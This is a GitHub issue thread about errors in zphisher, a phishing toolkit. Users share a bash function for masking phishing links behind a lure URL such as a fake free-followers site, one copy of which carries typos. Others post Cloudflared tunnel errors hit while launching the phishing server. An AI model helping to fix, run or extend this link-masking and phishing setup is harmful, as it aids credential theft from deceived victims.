Open smoke-wolf opened 1 year ago
Substitution error was with the function:
Corrected function here:
custom_mask() { { sleep .5; clear; banner_small; echo; } read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do you want to change Mask URL? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}] :${ORANGE} " mask_op echo if [[ $(echo "$mask_op" | tr '[:upper:]' '[:lower:]') == "y" ]]; then echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Enter your custom URL below ${CYAN}(${ORANGE}Example: https://get-free-followers.com${CYAN})\n" read -e -p "${WHITE} ==> ${ORANGE}" -i "https://" mask_url if [[ ${mask_url//:} =~ ^([h][t][t][p][s]?)$ || ${mask_url::3} == "www" ]] && [[ ${mask_url#http//} =~ ^[^,~!@%:\=#\;\^*\"\'|\?+\<>({)}\/]+$ ]]; then mask=$mask_url echo -e "\n${RED}[${WHITE}-${RED}]${CYAN} Using custom Masked Url :${GREEN} $mask" else echo -e "\n${RED}[${WHITE}!${RED}]${ORANGE} Invalid URL type.. Using the default one.." fi fi }
Substitution error was with the function:
Corrected function here:
custom_mask() { { sleep .5; clear; banner_small; echo; } read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do you want to change Mask URL? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}] :${ORANGE} " mask_op echo if [[ $(echo "$mask_op" | tr '[:upper:]' '[:lower:]') == "y" ]]; then echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Enter your custom URL below ${CYAN}(${ORANGE}Example: https://get-free-followers.com${CYAN})\n%5Cn)" read -e -p "${WHITE} ==> ${ORANGE}" -i "https://" mask_url if [[ ${maskurl//:} =~ ^([h][t][t][p][s]?)$ || ${mask_url::3} == "www" ]] && [[ ${maskurl#http//} =~ ^[^,~!@%:\=#\;\^*\"\'|\?+\<>({)}\/]+$ ]]; then mask=$mask_url echo -e "\n${RED}[${WHITE}-${RED}]${CYAN} Using custom Masked Url :${GREEN} $mask" else echo -e "\n${RED}[${WHITE}!${RED}]${ORANGE} Invalid URL type.. Using the default one.." fi fi }
please tell me in simple language how to fix it... while I am pressing y for Do you want to change Mask URL? [y/N] this option -zphisher.sh: line 552: ${mask_op,,}: bad substitution this is coming how to fix??
any fix to this at all? im having the same issue
[01] Localhost [02] Cloudflared [Auto Detects] [03] LocalXpose [NEW! Max 15Min]
[-] Select a port forwarding service : 2
[-] Enter Your Custom 4-digit Port [1024-9999] : 5000
[-] Initializing... ( http://127.0.0.1:5000 )
[-] Setting up server...
[-] Starting PHP server...
[-] Launching Cloudflared...grep: .server/.cld.log: No such file or directory
En beku nimge heli nane kodthini
On Tue, 1 Oct 2024, 8:17 am Chewmint, @.***> wrote:
[01] Localhost [02] Cloudflared [Auto Detects] [03] LocalXpose [NEW! Max 15Min]
[-] Select a port forwarding service : 2
[-] Enter Your Custom 4-digit Port [1024-9999] : 5000
[-] Initializing... ( http://127.0.0.1:5000 )
[-] Setting up server...
[-] Starting PHP server...
[-] Launching Cloudflared...grep: .server/.cld.log: No such file or directory
— Reply to this email directly, view it on GitHub https://github.com/htr-tech/zphisher/issues/772#issuecomment-2384672099, or unsubscribe https://github.com/notifications/unsubscribe-auth/AXNHLQ7E4XQKPDCCVQBVVN3ZZIENDAVCNFSM6AAAAABPETC276VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGOBUGY3TEMBZHE . You are receiving this because you are subscribed to this thread.Message ID: @.***>
Which environment you are using ?
Linux / Desktop
Describe the bug
on macOS and am running into a
server/.cld.log: No such file or directory
This issue was already flagged and closed, however, when originaly opened it was on a windows device. The same error occurs on mac.Provide log output [Optional]